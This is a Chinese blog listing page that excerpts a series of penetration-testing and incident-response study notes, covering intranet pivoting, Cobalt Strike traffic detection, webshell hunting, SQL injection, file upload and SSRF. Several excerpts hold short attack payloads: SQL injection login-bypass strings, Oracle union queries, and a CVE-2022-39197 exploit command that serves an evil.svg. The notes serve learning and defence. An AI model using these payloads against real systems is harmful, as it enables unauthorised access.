- 博客(31)
- 收藏
- 关注
RSS订阅原创 第一百二十四天学习笔记-内网遨游-学习代理技术及CS/MSF上线不出网的机器
控制之前需要得到权限----网络通讯是正常的（忽略怎么拿到的权限）四台主机 ：代理软件：sockscap proxifier前两个windos，ProxyChains（linux）步骤：添加路由，创建节点，软件连接节点，在软件服务器进行后续渗透。
2023-03-01 21:33:17
352
原创 sql注入之万能密码
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ （替换表名admin）admin’ or ‘a’=’a 密码随便。
2023-02-20 21:26:21
1531
原创 第123天：内网安全-域防火墙-入站出站规则-不出网隧道上线-组策略对象同步
隧道技术：解决不出网协议上线的问题（利用出网协议进行封装出网）-代理技术：解决网络通讯不通的问题（利用跳板机建立节点后续操作）-防火墙配置的学习理解出站入站规则的区别，及域控同步设置出站规则：是设置防火墙的主机对外连接的规则，一般来说较为宽松入站规则：是外部访问部署防火墙主机时需要遵守的规则，一般较为严谨设置规则也可以分为对本地的应用程序 对协议 对端口进行完全自定义设置当域控DC设置了防火墙策略后，可以在域控机器的组策略管理器新建策略。
2023-02-20 19:55:45
583
原创 第122天：内网安全-域信息收集-应用网络凭据-CS插件-Adfind-BloodHound
内网域的概念内网域约等于我们平时常常使用到的家庭局域网，在同一个WiFi环境下，所有连接该wifi的手机，电脑，等联网设备，都算是在同一个内网环境下。但是又有所区别，如 网吧所有机器 学校内的机房也是在同一个网关路由下，但是规模要比平时用到的局域网要大很多，这类环境叫工作组。而我们主要学习的内网渗透环境是大型的企业内部的内网环境。
2023-02-19 21:23:39
356
原创 朔源反制：IDS IPS snort suricata
IDS:Intrusion detection systems 入侵检测系统IPS:Intrusion prevention systems 入侵防御系统。
2023-02-19 17:29:52
113
原创 朔源反制：cs流量分析
弱特征：url headers format 这些需要自己更改配置文件在控制端temview的时候配置文件profile参数。强特征：TCP数据包中含有ja3,ja3s中的值为强特征 C hello S hello。wireshrk 筛选出符合本机通信与木马通信端的TLSv1的协议。进行wireshrk抓包筛选http 可获得一些cs独有的特征。测试http上线检测：eth0为监听的网卡 yaml为规则。强特征：请求含有checksum8规则的路径。基础特征：魔改的基本都会改。
2023-02-19 15:03:06
1133
原创 朔源反制-170-对抗上线CS，Goby，蚁剑，Sqlmap等安全工具
python cve-2022-39197.py beacon.exe http://可访问的WEB:8888/evil.svg。1、蓝队修改EXP里面的执行命令后编译，红队客户端所触发的东西在这里修改：如上线cs。步骤为：修改：EvilJar/src/main/java/Exploit.java。构造一个页面 在含有注入点的时候，其中数据包含有反制的数据包：步骤为。xx为监听的端口号 xx.xx.xx.xx为监听主机。
2023-02-17 20:04:40
401
1
原创 应急响应-168天--ELK日志分析系统&Yara规则
内存马检测 需要使用procdump.exe将内存脱下来，yara64.exe demo1.yar PID。然后使用专门的工具 如 010editor 十六进制 搜索木马关键字 如木马含有的包地址。例如cs换个监听器，然后生成两个后门文件，对比，找到共有的特征。如：挖矿病毒提取：文件头，关键字，协议，域名等。三种模式：上传文件，特定分析，代理加入。yarac 为编译yara规则工具。yara 为yara使用程序。根据提取的对象 提取共同点。
2023-02-17 00:22:43
199
原创 应急响应-日志分析工具
1、Web - 360星图（IIS/Apache/Nginx）--缺点：支持较少。4、Web -机器语言（任何自定义日志格式字符串）--- 不提示相关安全问题。2、Web - GoAccess（任何自定义日志格式字符串）并自动打包，将收集的文件上传观星平台即可自动分析。3、Web - 自写脚本（任何自定义日志格式字符串）稍微好。4、大型日志分析项目 :elK(见后续)
2023-02-16 21:46:48
464
原创 应急响应-166-拒绝服务，邮件反制分析&应用日志
4、可能存在个人的ID昵称用户名（利用社工的技术手段进行画像）3、根据域名寻找邮件服务器地址(利用红队手段渗透获取信息)防御手段：CC防火墙，CDN服务，高防服务等。2、看发送IP地址（服务器IP或攻击IP）1、看指纹信息（什么发送工具平台）
2023-02-15 17:10:47
79
原创 应急响应--164天：挖矿脚本检测，威胁情报
记录病毒在文件夹出现的时间，重要病毒线索特征，将挖矿文件放到奇安信威胁情报中心，微步在线进行上传查杀确认。kill掉进程 挖矿病毒会在每次启动时继续运行（防止重启） 查看计时任务;运行webshell查杀工具（河马）找到病毒出现的原因（后门啊）与病毒出现在文件夹中的时间做对比。或者 定时任务文件所在位置（通常情况下在/var/spool/cron/文件夹里）服务器管理器---事件查看器---windows日志---安全 （查看登录记录）cpu---javs.exe(病毒程序)
2023-02-14 21:53:33
360
原创 应急响应-163后门攻击检测指南&Rookit&内存马&权限维持&WIN&Linux
可能的后门存在：启动项，隐藏用户，映像劫持（打开记事本操作成为了打开计算器-修改了注册表指向），屏保，登录（只要有人登录就会启动后门）rootkit后门：（后门为内核级-抓包工具是抓不到后门流量的 -普通抓包工具权限不够-小伙子把握不住）常规msf: 查看进程：netstat -anpt，找到可疑进程并kill掉即可。java两款调试工具--可以在内存马注入后就能看到相关信息（产生的类...）常规msf后门-权限维持后门 ++分析检测。2，内存马（无文件马）--河马内存马查杀工具。
2023-02-14 17:54:20
454
原创 应急响应 -162天：webshell和内存马查杀
如：利用此系统中间件等爆出的通用漏洞，利用安全知识进行模拟攻击，了解外来攻击的方法。应急人员：通过网站程序利用红队思路排查漏洞，根据漏洞数据包配合日志分析攻击行为。应急人员：在时间和漏洞配合日志没有头绪分析下，可以尝试对后门分析找到攻击行为。获取当前WEB环境的组成架构（语言，数据库，中间件，系统等）如：翻日志 确定攻击时间，请求方式，请求地址，ip。背景交代：某公司在某个时间发现网站出现篡改或异常。背景交代：某公司在发现网站出现篡改或异常。背景交代：某公司在发现网站出现篡改或异常。
2023-02-14 14:02:55
805
原创 通达OA V11.4漏洞 -代码审计
O A 版本：通达OA系统11.4测试环境：本地渗透工具PHPstorm、蚁剑1. 存在漏洞前台任意用户登录漏洞前台未授权访问漏洞管理后台文件上传漏洞后台SQL注入漏洞文件包含getshell根据提供的POC的代码分析，该漏洞涉及的文件包含以下四个文件：通达OA源码使用zend5加密，利用解密工具SeayDzend解密上述四个文件后分析源码。该文件用来获取codeuid参数，如果不存在，则会自动生成一个codeuid，并且将其写入。
2023-02-01 18:34:45
627
转载 php反序列化漏洞
一、 基础知识程序未对用户输入的序列化字符串进行检测，导致攻击者可以控制反序列化过程，通过在参数中注入一些代码，从而达到代码执行，SQL 注入，目录遍历等不可控后果，危害较大。序列化就是将对象object、字符串string、数组array、变量，转换成具有一定格式的字符串，使其能在文件储存或传输的过程中保持稳定的格式。当变量是私有或受保护的属性时类中成员属性：%00为空白符，空字符也有长度，一个空字符长度为 1，%00 虽然不会显示，但是提交还是要加上去。
2022-12-03 14:08:27
164
转载 第42天：WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计
1、程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，而无须再次编写，这种调用文件的过程一般被称为包含。2、文件包含函数的参数没有经过过滤或者严格的定义，并且参数可以被用户控制，这样就可能包含非预期的文件。如果文件中存在恶意代码，无论文件是什么类型，文件内的恶意代码都会被解析并执行。3、
2022-12-01 23:04:36
276
原创 第39天：WEB攻防-通用漏洞&CSRF&SSRF&协议玩法&内网探针&漏洞利用
跨站请求伪造，通常缩写为CSRF或者XSRF，举个生活中的例子：就是某个人点了个奇怪的链接，自己什么也没输，但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求，执行恶意操作，具有很大的危害性。
2022-11-28 18:50:49
1161
原创 第33天：WEB攻防-通用漏洞&文件上传&中间件解析漏洞&编辑器安全
由于IIS符合漏洞的环境都基本存在Windows server2003的服务器上了。上传文件的目录为 1.asp的目录 1.asp/1.png也会按照asp的格式解析。访问时只需要 1.png/xxx.asp 就可以按照asp的代码解析。上传文件名为 1.asp;.png的文件会正常按照asp的格式解析。上传一张带后门的图片 1.png。
2022-11-23 18:12:20
179
原创 第三十二天学习笔记-web漏洞-文件上传的条件竞争、.htaccess文件与.user.ini文件使用前提、二次渲染
二次渲染原理在我们上传文件后，网站会对图片进行二次处理（格式、尺寸，保存，删除 要求等），服务器会把里面的内容进行替换更新，处理完成后，根据我们原有的图片生成一个新的图片（标准化）并放到网站对应的标签进行显示。绕过方法1.配合条件竞争漏洞竞争条件是指多个线程在没有进行锁操作或者同步操作的情况下同时访问同一个共享代码，变量，文件等，运行的结果依赖于不同线程访问数据的顺序。2.配合文件包含漏洞。
2022-11-23 13:22:18
170
原创 第31天：WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性
上传文件时，未对上传的文件进行严格的验证和过滤，造成用户可以上传可执行脚本的漏洞叫文件上传漏洞。3、增添或修改action，修改为上传的源文件。可以通过文件上传漏洞上传网站后门，获取网站权限。前端验证浏览器可直接禁用或删除，后端是安全的。本节主要依靠靶场测试环境理解：具体可参考。1、将前端下载到本地。
2022-11-22 13:44:28
652
原创 第30天：WEB攻防-通用漏洞&SQL注入&CTF&二次&堆叠&DNS带外
2、如利用mysql_multi_query()函数就支持多条SQL语句同时执行,实际情况中如PHP的防SQL注入机制,其使用的数据库函数为 "mysqli_query()"函数。主要原因是，堆叠注入的利用看起来很厉害但是其可能会受到 API、数据库引擎或者权限的控制。1、当用户输入恶意数据时，网站对我们输入的重要的关键字进行了转义，然后存储到数据库。数据一定是插入进去的，数据库攻击代码取出来调用 ，当人有执行查询操作时 会被触发。解决不回显，反向连接，SQL注入，命令执行，SSRF等。
2022-11-21 19:55:17
369
原创 第28天：WEB攻防-通用漏洞&SQL注入&HTTP头XFF&COOKIE&POST请求
本文描述了不同的请求（如：记录IP 请求头 cookie ）都有可能与数据库产生交互，可以通过伪造相关payload来产生sql注入，同时演示了ZZCMS实例中 分析代码，发现是可能是IP会产生SQL注入 XFF手工注入后发现无回显点，采用sqlmap
2022-11-20 14:45:55
901
原创 第27天：WEB攻防-通用漏洞&SQL注入&Tamper脚本&Base64&Json&md5等
不同payload类型的注入方式构造：字符型，搜索形 ，加密，编码形。宽字节的构造和绕过，sqlmap的tamper字典使用
2022-11-19 15:29:57
489
原创 第26天：WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等
Oracle:（注入语句和之前的mysql类似，Mongodb 看代码(python数据库)，#SQLMAP使用，测回显：and 1=2 union select '1','2' from dual爆库：and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual模糊爆库：and 1=2 union select '1',(select table_name from user_tab
2022-11-18 16:39:39
457
原创 第25天：WEB攻防-通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL
Access无高权限注入点-只能猜解，还是暴力猜解 ，因为其中只有一个用户权限MYSQL，PostgreSQL，MSSQL高权限注入点-可升级读写执行等高权限由来：当前的脚本采用的是高权限用户链接的数据库，当前产生注入点的话就是高权限使用load_file()函数读取文件内容。
2022-11-17 23:16:04
302
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人